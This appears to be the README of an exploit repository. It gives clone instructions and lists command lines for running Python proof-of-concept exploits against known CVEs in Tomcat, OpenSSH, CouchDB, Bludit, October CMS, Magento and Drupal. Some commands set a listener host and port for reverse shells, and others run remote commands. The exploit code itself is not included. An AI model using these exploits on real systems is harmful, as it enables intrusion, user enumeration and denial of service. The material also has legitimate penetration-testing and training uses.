Vulnerabilities exploitation examples
- clone the repository
git clone https://github.com/cocomelonc/vulnexipy- go to the dir:
cd vulnexipy- run python exploit, for example:
python3 cve_2009_3548.py -u http://172.16.64.101:8080/ -U tomcat -P s3cret -i 172.16.64.10 -p 4444CVE-2016-6210 - sshd in OpenSSH before 7.3, when SHA256 or SHA512 are used for user password hashing, uses BLOWFISH hashing on a static password when the username does not exist, which allows remote attackers to enumerate users by leveraging the timing difference between responses when a large password is provided.
python cve_2016_6210.py --target 10.10.6.17 --usernames users.txtCVE-2016-6515 - The auth_password function in auth-passwd.c in sshd in OpenSSH before 7.3 does not limit password lengths for password authentication, which allows remote attackers to cause a denial of service (crypt CPU consumption) via a long string.
python cve_2016_6515.py --target 10.10.6.13 --username rootCVE-2017-12635 - Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit '_users' documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users.
python cve_2017_12635 --target 10.10.6.14 -u couchdb -p mysuperpswdCVE-2019-16113 - Bludit 3.9.2 allows remote code execution via bl-kernel/ajax/upload-images.php because PHP code can be entered with a .jpg file name, and then this PHP code can write other PHP code to a ../ pathname.
python cve_2019_16113.py --url 10.10.6.15 --username admin --password admin --cmd whoamiCVE-2017-1000119 - October CMS build 412 is vulnerable to PHP code execution in the file upload functionality resulting in site compromise and possibly other applications on the server.
python cve_2017_1000119.py --url http://10.10.6.16 -user admin -pswd admin -lhost 10.10.14.16 -lport 4444Magento Community Edition < 1.9.0.1 - Authenticated Remote Code Execution
python magento_auth_rce.py --url http://10.10.10.112 --user admin --pswd adminCVE-2018-7600 - Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.
python cve_2018_7600.py --url http://10.10.10.151 --cmd whoamiThis tool is a Proof of Concept and is for Educational Purposes Only!!! Author takes no responsibility of any damage you cause